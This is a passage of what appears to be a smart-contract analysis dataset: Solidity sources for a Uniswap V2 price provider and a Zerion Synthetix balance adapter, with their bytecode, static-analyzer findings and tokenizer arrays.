20190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1551ce4c2466005df51603f8fd0010f3b686083f6bde0d86a87008dfea2f11a64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2475,
8586,
2094,
2692,
8586,
2546,
24087,
2278,
28311,
2497,
2509,
2063,
2620,
2063,
22025,
14142,
26337,
6679,
12740,
15136,
10354,
2278,
2683,
4402,
2050,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,427 | 0x952340eE9Fa88fF56E6Fa5b32404FffD9Cc4da5c | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../interfaces/IUniswapV2Pair.sol";
import "../interfaces/IUniswapV2Factory.sol";
import "../interfaces/IPriceOracle.sol";
import "../misc/SafeMath.sol";
import "../misc/Math.sol";
/** @title UniswapV2PriceProvider
* @notice Price provider for a Uniswap V2 pair token
* It calculates the price using Chainlink as an external price source and the pair's tokens reserves using the weighted arithmetic mean formula.
* If there is a price deviation, instead of the reserves, it uses a weighted geometric mean with the constant invariant K.
*/
contract UniswapV2PriceProvider {
using SafeMath for uint256;
IUniswapV2Pair public immutable pair;
address[] public tokens;
bool[] public isPeggedToEth;
uint8[] public decimals;
IPriceOracle immutable priceOracle;
uint256 public immutable maxPriceDeviation;
/**
* UniswapV2PriceProvider constructor.
* @param _pair Uniswap V2 pair address.
* @param _isPeggedToEth For each token, true if it is pegged to ETH.
* @param _decimals Number of decimals for each token.
* @param _priceOracle Aave price oracle.
* @param _maxPriceDeviation Threshold of spot prices deviation: 10ˆ16 represents a 1% deviation.
*/
constructor(
IUniswapV2Pair _pair,
bool[] memory _isPeggedToEth,
uint8[] memory _decimals,
IPriceOracle _priceOracle,
uint256 _maxPriceDeviation
) public {
require(_isPeggedToEth.length == 2, "ERR_INVALID_PEGGED_LENGTH");
require(_decimals.length == 2, "ERR_INVALID_DECIMALS_LENGTH");
require(
_decimals[0] <= 18 && _decimals[1] <= 18,
"ERR_INVALID_DECIMALS"
);
require(
address(_priceOracle) != address(0),
"ERR_INVALID_PRICE_PROVIDER"
);
require(_maxPriceDeviation < Math.BONE, "ERR_INVALID_PRICE_DEVIATION");
pair = _pair;
//Get tokens
tokens.push(_pair.token0());
tokens.push(_pair.token1());
isPeggedToEth = _isPeggedToEth;
decimals = _decimals;
priceOracle = _priceOracle;
maxPriceDeviation = _maxPriceDeviation;
}
/**
* Returns the token balance in ethers by multiplying its reserves with its price in ethers.
* @param index Token index.
* @param reserve Token reserves.
*/
function getEthBalanceByToken(uint256 index, uint112 reserve)
internal
view
returns (uint256)
{
uint256 pi = isPeggedToEth[index]
? Math.BONE
: uint256(priceOracle.getAssetPrice(tokens[index]));
require(pi > 0, "ERR_NO_ORACLE_PRICE");
uint256 missingDecimals = uint256(18).sub(decimals[index]);
uint256 bi = uint256(reserve).mul(10**(missingDecimals));
return Math.bmul(bi, pi);
}
/**
* Returns true if there is a price deviation.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function hasDeviation(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (bool)
{
//Check for a price deviation
uint256 price_deviation = Math.bdiv(ethTotal_0, ethTotal_1);
if (
price_deviation > (Math.BONE.add(maxPriceDeviation)) ||
price_deviation < (Math.BONE.sub(maxPriceDeviation))
) {
return true;
}
price_deviation = Math.bdiv(ethTotal_1, ethTotal_0);
if (
price_deviation > (Math.BONE.add(maxPriceDeviation)) ||
price_deviation < (Math.BONE.sub(maxPriceDeviation))
) {
return true;
}
return false;
}
/**
* Calculates the price of the pair token using the formula of arithmetic mean.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function getArithmeticMean(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (uint256)
{
uint256 totalEth = ethTotal_0 + ethTotal_1;
return Math.bdiv(totalEth, getTotalSupplyAtWithdrawal());
}
/**
* Calculates the price of the pair token using the formula of weighted geometric mean.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function getWeightedGeometricMean(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (uint256)
{
uint256 square = Math.bsqrt(Math.bmul(ethTotal_0, ethTotal_1), true);
return
Math.bdiv(
Math.bmul(Math.TWO_BONES, square),
getTotalSupplyAtWithdrawal()
);
}
/**
* Returns the pair's token price.
* It calculates the price using Chainlink as an external price source and the pair's tokens reserves using the arithmetic mean formula.
* If there is a price deviation, instead of the reserves, it uses a weighted geometric mean with constant invariant K.
*/
function latestAnswer() external view returns (uint256) {
//Get token reserves in ethers
(uint112 reserve_0, uint112 reserve_1, ) = pair.getReserves();
uint256 ethTotal_0 = getEthBalanceByToken(0, reserve_0);
uint256 ethTotal_1 = getEthBalanceByToken(1, reserve_1);
if (hasDeviation(ethTotal_0, ethTotal_1)) {
//Calculate the weighted geometric mean
return getWeightedGeometricMean(ethTotal_0, ethTotal_1);
} else {
//Calculate the arithmetic mean
return getArithmeticMean(ethTotal_0, ethTotal_1);
}
}
/**
* Returns Uniswap V2 pair total supply at the time of withdrawal.
*/
function getTotalSupplyAtWithdrawal()
private
view
returns (uint256 totalSupply)
{
totalSupply = pair.totalSupply();
address feeTo = IUniswapV2Factory(IUniswapV2Pair(pair).factory())
.feeTo();
bool feeOn = feeTo != address(0);
if (feeOn) {
uint256 kLast = IUniswapV2Pair(pair).kLast();
if (kLast != 0) {
(uint112 reserve_0, uint112 reserve_1, ) = pair.getReserves();
uint256 rootK = Math.bsqrt(
uint256(reserve_0).mul(reserve_1),
false
);
uint256 rootKLast = Math.bsqrt(kLast, false);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
totalSupply = totalSupply.add(liquidity);
}
}
}
}
/**
* Returns Uniswap V2 pair address.
*/
function getPair() external view returns (IUniswapV2Pair) {
return pair;
}
/**
* Returns all tokens.
*/
function getTokens() external view returns (address[] memory) {
return tokens;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IUniswapV2Pair {
function totalSupply() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function kLast() external view returns (uint);
function factory() external view returns (address);
}
pragma solidity 0.6.12;
interface IUniswapV2Factory {
function feeTo() external view returns (address);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/************
@title IPriceOracle interface
@notice Interface for the Aave price oracle.*/
interface IPriceOracle {
/***********
@dev returns the asset price in ETH
*/
function getAssetPrice(address _asset) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
// a library for performing various math operations
library Math {
uint256 public constant BONE = 10**18;
uint256 public constant TWO_BONES = 2*10**18;
/**
* @notice Returns the square root of an uint256 x using the Babylonian method
* @param y The number to calculate the sqrt from
* @param bone True when y has 18 decimals
*/
function bsqrt(uint y, bool bone) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
if(bone) {
x = (bdiv(y, x) + x) / 2;
}
else {
x = (y / x + x) / 2;
}
}
} else if (y != 0) {
z = 1;
}
}
function bmul(uint a, uint b) //Bone mul
internal pure
returns (uint)
{
uint c0 = a * b;
require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW");
uint c1 = c0 + (BONE / 2);
require(c1 >= c0, "ERR_MUL_OVERFLOW");
uint c2 = c1 / BONE;
return c2;
}
function bdiv(uint a, uint b) //Bone div
internal pure
returns (uint)
{
require(b != 0, "ERR_DIV_ZERO");
uint c0 = a * BONE;
require(a == 0 || c0 / a == BONE, "ERR_DIV_INTERNAL"); // bmul overflow
uint c1 = c0 + (b / 2);
require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require
uint c2 = c1 / b;
return c2;
}
} | 0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063975b86621161005b578063975b86621461010b578063a8aa1b3114610113578063aa6ca8081461011b578063c1f1b1b51461013057610088565b80630e45a1b21461008d5780633f47e662146100b65780634f64b2be146100d657806350d25bcd146100f6575b600080fd5b6100a061009b366004610c5e565b610138565b6040516100ad9190610cef565b60405180910390f35b6100c96100c4366004610c5e565b610169565b6040516100ad9190610e35565b6100e96100e4366004610c5e565b610176565b6040516100ad9190610c8e565b6100fe61019d565b6040516100ad9190610e2c565b6100fe610287565b6100e96102ab565b6101236102cf565b6040516100ad9190610ca2565b6100e9610331565b6001818154811061014557fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6002818154811061014557fe5b6000818154811061018357fe5b6000918252602090912001546001600160a01b0316905081565b60008060007f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e286001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156101fb57600080fd5b505afa15801561020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102339190610c0a565b50915091506000610245600084610355565b90506000610254600184610355565b905061026082826104f0565b1561027a5761026f8282610611565b945050505050610284565b61026f8282610654565b90565b7f00000000000000000000000000000000000000000000000000b1a2bc2ec5000081565b7f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e2881565b6060600080548060200260200160405190810160405280929190818152602001828054801561032757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610309575b5050505050905090565b7f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e2890565b6000806001848154811061036557fe5b90600052602060002090602091828204019190069054906101000a900460ff16610450577f000000000000000000000000a50ba011c48153de246e5192c8f9258a2ba79ca96001600160a01b031663b3596f07600086815481106103c557fe5b6000918252602090912001546040516001600160e01b031960e084901b1681526103fb916001600160a01b031690600401610c8e565b60206040518083038186803b15801561041357600080fd5b505afa158015610427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044b9190610c76565b61045a565b670de0b6b3a76400005b9050600081116104855760405162461bcd60e51b815260040161047c90610dff565b60405180910390fd5b60006104bd6002868154811061049757fe5b600091825260209182902091810490910154601291601f166101000a900460ff16610665565b905060006104d86001600160701b038616600a84900a610688565b90506104e481846106bf565b93505050505b92915050565b6000806104fd8484610738565b9050610531670de0b6b3a76400007f00000000000000000000000000000000000000000000000000b1a2bc2ec500006107cc565b81118061056e575061056b670de0b6b3a76400007f00000000000000000000000000000000000000000000000000b1a2bc2ec50000610665565b81105b1561057d5760019150506104ea565b6105878385610738565b90506105bb670de0b6b3a76400007f00000000000000000000000000000000000000000000000000b1a2bc2ec500006107cc565b8111806105f857506105f5670de0b6b3a76400007f00000000000000000000000000000000000000000000000000b1a2bc2ec50000610665565b81105b156106075760019150506104ea565b5060009392505050565b60008061062861062185856106bf565b60016107ef565b905061064c61063f671bc16d674ec80000836106bf565b610647610865565b610738565b949350505050565b600082820161064c81610647610865565b808203828111156104ea5760405162461bcd60e51b815260040161047c90610cfa565b60008115806106a3575050808202828282816106a057fe5b04145b6104ea5760405162461bcd60e51b815260040161047c90610d29565b60008282028315806106d95750828482816106d657fe5b04145b6106f55760405162461bcd60e51b815260040161047c90610daf565b6706f05b59d3b200008101818110156107205760405162461bcd60e51b815260040161047c90610daf565b6000670de0b6b3a7640000825b049695505050505050565b6000816107575760405162461bcd60e51b815260040161047c90610dd9565b670de0b6b3a7640000830283158061077f5750670de0b6b3a764000084828161077c57fe5b04145b61079b5760405162461bcd60e51b815260040161047c90610d85565b600283048101818110156107c15760405162461bcd60e51b815260040161047c90610d85565b600084828161072d57fe5b808201828110156104ea5760405162461bcd60e51b815260040161047c90610d57565b60006003831115610856575081600160028204015b81811015610850578091508215610832576002816108228684610738565b018161082a57fe5b04905061084b565b60028182868161083e57fe5b04018161084757fe5b0490505b610804565b506104ea565b82156104ea5750600192915050565b60007f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e286001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c057600080fd5b505afa1580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190610c76565b905060007f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e286001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561095557600080fd5b505afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190610bdc565b6001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c557600080fd5b505afa1580156109d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fd9190610bdc565b90506001600160a01b03811615801590610bd75760007f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e286001600160a01b0316637464fc3d6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190610c76565b90508015610bd5576000807f0000000000000000000000002fdbadf3c4d5a8666bc06645b8358ab803996e286001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b0857600080fd5b505afa158015610b1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b409190610c0a565b5090925090506000610b68610b616001600160701b03808616908516610688565b60006107ef565b90506000610b778560006107ef565b905080821115610bd0576000610b97610b908484610665565b8a90610688565b90506000610bb083610baa866005610688565b906107cc565b90506000818381610bbd57fe5b049050610bca8b826107cc565b9a505050505b505050505b505b505090565b600060208284031215610bed578081fd5b81516001600160a01b0381168114610c03578182fd5b9392505050565b600080600060608486031215610c1e578182fd5b8351610c2981610e43565b6020850151909350610c3a81610e43565b604085015190925063ffffffff81168114610c53578182fd5b809150509250925092565b600060208284031215610c6f578081fd5b5035919050565b600060208284031215610c87578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b81811015610ce35783516001600160a01b031683529284019291840191600101610cbe565b50909695505050505050565b901515815260200190565b60208082526015908201527464732d6d6174682d7375622d756e646572666c6f7760581b604082015260600190565b60208082526014908201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604082015260600190565b60208082526014908201527364732d6d6174682d6164642d6f766572666c6f7760601b604082015260600190565b60208082526010908201526f11549497d1125597d25395115493905360821b604082015260600190565b60208082526010908201526f4552525f4d554c5f4f564552464c4f5760801b604082015260600190565b6020808252600c908201526b4552525f4449565f5a45524f60a01b604082015260600190565b6020808252601390820152724552525f4e4f5f4f5241434c455f505249434560681b604082015260600190565b90815260200190565b60ff91909116815260200190565b6001600160701b0381168114610e5857600080fd5b5056fea2646970667358221220f6a67ea738b49f45b5d35ce94df3c3c3d6c24c9f443bfdbe92cd36fc2545f45f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
22022,
2692,
4402,
2683,
7011,
2620,
2620,
4246,
26976,
2063,
2575,
7011,
2629,
2497,
16703,
12740,
2549,
4246,
2546,
2094,
2683,
9468,
2549,
2850,
2629,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
4502,
4313,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
12997,
17599,
6525,
14321,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,428 | 0x9523894a5dfbfcb436ceaed1cc0c94219978b12a | // Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
interface ERC20 {
function balanceOf(address) external view returns (uint256);
}
/**
* @title Protocol adapter interface.
* @dev adapterType(), tokenType(), and getBalance() functions MUST be implemented.
* @author Igor Sobolev <sobolev@zerion.io>
*/
interface ProtocolAdapter {
/**
* @dev MUST return "Asset" or "Debt".
* SHOULD be implemented by the public constant state variable.
*/
function adapterType() external pure returns (string memory);
/**
* @dev MUST return token type (default is "ERC20").
* SHOULD be implemented by the public constant state variable.
*/
function tokenType() external pure returns (string memory);
/**
* @dev MUST return amount of the given token locked on the protocol by the given account.
*/
function getBalance(address token, address account) external view returns (uint256);
}
/**
* @dev CurveRewards contract interface.
* Only the functions required for SynthetixAssetAdapter contract are added.
* The CurveRewards contract is available here
* github.com/Synthetixio/Unipool/blob/master/contracts/CurveRewards.sol.
*/
interface CurveRewards {
function earned(address) external view returns (uint256);
}
/**
* @dev iETHRewards contract interface.
* Only the functions required for SynthetixAssetAdapter contract are added.
* The iETHRewards contract is available here
* github.com/Synthetixio/Unipool/blob/master/contracts/iETHRewards.sol.
*/
interface iETHRewards {
function earned(address) external view returns (uint256);
}
/**
* @dev Unipool contract interface.
* Only the functions required for SynthetixAssetAdapter contract are added.
* The Unipool contract is available here
* github.com/Synthetixio/Unipool/blob/master/contracts/Unipool.sol.
*/
interface Unipool {
function earned(address) external view returns (uint256);
}
/**
* @dev Proxy contract interface.
* Only the functions required for SynthetixAssetAdapter contract are added.
* The Proxy contract is available here
* github.com/Synthetixio/synthetix/blob/master/contracts/Proxy.sol.
*/
interface Proxy {
function target() external view returns (address);
}
/**
* @dev Synthetix contract interface.
* Only the functions required for SynthetixAssetAdapter contract are added.
* The Synthetix contract is available here
* github.com/Synthetixio/synthetix/blob/master/contracts/Synthetix.sol.
*/
interface Synthetix {
function collateral(address) external view returns (uint256);
}
/**
* @title Asset adapter for Synthetix protocol.
* @dev Implementation of ProtocolAdapter interface.
* @author Igor Sobolev <sobolev@zerion.io>
*/
contract SynthetixAssetAdapter is ProtocolAdapter {
string public constant override adapterType = "Asset";
string public constant override tokenType = "ERC20";
address internal constant SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;
address internal constant SUSD_POOL_TOKEN = 0xC25a3A3b969415c80451098fa907EC722572917F;
address internal constant IETH = 0xA9859874e1743A32409f75bB11549892138BBA1E;
address internal constant UNISWAP_SETH = 0xe9Cf7887b93150D4F2Da7dFc6D502B216438F244;
address internal constant LP_REWARD_CURVE = 0xDCB6A51eA3CA5d3Fd898Fd6564757c7aAeC3ca92;
address internal constant LP_REWARD_IETH = 0xC746bc860781DC90BBFCD381d6A058Dc16357F8d;
address internal constant LP_REWARD_UNISWAP = 0x48D7f315feDcaD332F68aafa017c7C158BC54760;
/**
* @return Amount of SNX locked on the protocol by the given account.
* @dev Implementation of ProtocolAdapter interface function.
*/
function getBalance(address token, address account) external view override returns (uint256) {
if (token == SNX) {
uint256 balance = Synthetix(Proxy(SNX).target()).collateral(account);
balance += CurveRewards(LP_REWARD_CURVE).earned(account);
balance += iETHRewards(LP_REWARD_IETH).earned(account);
balance += Unipool(LP_REWARD_UNISWAP).earned(account);
return balance;
} else if (token == SUSD_POOL_TOKEN) {
return ERC20(LP_REWARD_CURVE).balanceOf(account);
} else if (token == IETH) {
return ERC20(LP_REWARD_IETH).balanceOf(account);
} else if (token == UNISWAP_SETH) {
return ERC20(LP_REWARD_UNISWAP).balanceOf(account);
} else {
return 0;
}
}
} | 0x608060405234801561001057600080fd5b50600436106100415760003560e01c806330fa738c14610046578063d4fac45d14610064578063f72c079114610084575b600080fd5b61004e61008c565b60405161005b9190610593565b60405180910390f35b61007761007236600461052f565b6100ad565b60405161005b91906105e6565b61004e6104eb565b60405180604001604052806005815260200164045524332360dc1b81525081565b60006001600160a01b03831673c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f141561037657600073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f6001600160a01b031663d4b839926040518163ffffffff1660e01b815260040160206040518083038186803b15801561012357600080fd5b505afa158015610137573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061015b919061050c565b6001600160a01b031663a5fdc5de846040518263ffffffff1660e01b8152600401610186919061057f565b60206040518083038186803b15801561019e57600080fd5b505afa1580156101b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d69190610567565b6040516246613160e11b815290915073dcb6a51ea3ca5d3fd898fd6564757c7aaec3ca9290628cc2629061020e90869060040161057f565b60206040518083038186803b15801561022657600080fd5b505afa15801561023a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025e9190610567565b6040516246613160e11b815291019073c746bc860781dc90bbfcd381d6a058dc16357f8d90628cc2629061029690869060040161057f565b60206040518083038186803b1580156102ae57600080fd5b505afa1580156102c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e69190610567565b6040516246613160e11b81529101907348d7f315fedcad332f68aafa017c7c158bc5476090628cc2629061031e90869060040161057f565b60206040518083038186803b15801561033657600080fd5b505afa15801561034a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036e9190610567565b0190506104e5565b6001600160a01b03831673c25a3a3b969415c80451098fa907ec722572917f1415610429576040516370a0823160e01b815273dcb6a51ea3ca5d3fd898fd6564757c7aaec3ca92906370a08231906103d290859060040161057f565b60206040518083038186803b1580156103ea57600080fd5b505afa1580156103fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104229190610567565b90506104e5565b6001600160a01b03831673a9859874e1743a32409f75bb11549892138bba1e1415610485576040516370a0823160e01b815273c746bc860781dc90bbfcd381d6a058dc16357f8d906370a08231906103d290859060040161057f565b6001600160a01b03831673e9cf7887b93150d4f2da7dfc6d502b216438f24414156104e1576040516370a0823160e01b81527348d7f315fedcad332f68aafa017c7c158bc54760906370a08231906103d290859060040161057f565b5060005b92915050565b60405180604001604052806005815260200164105cdcd95d60da1b81525081565b60006020828403121561051d578081fd5b8151610528816105ef565b9392505050565b60008060408385031215610541578081fd5b823561054c816105ef565b9150602083013561055c816105ef565b809150509250929050565b600060208284031215610578578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6000602080835283518082850152825b818110156105bf578581018301518582016040015282016105a3565b818111156105d05783604083870101525b50601f01601f1916929092016040019392505050565b90815260200190565b6001600160a01b038116811461060457600080fd5b5056fea2646970667358221220b0c2870df8e59afeeee760704e57755fef1267f4bcf30ca6a0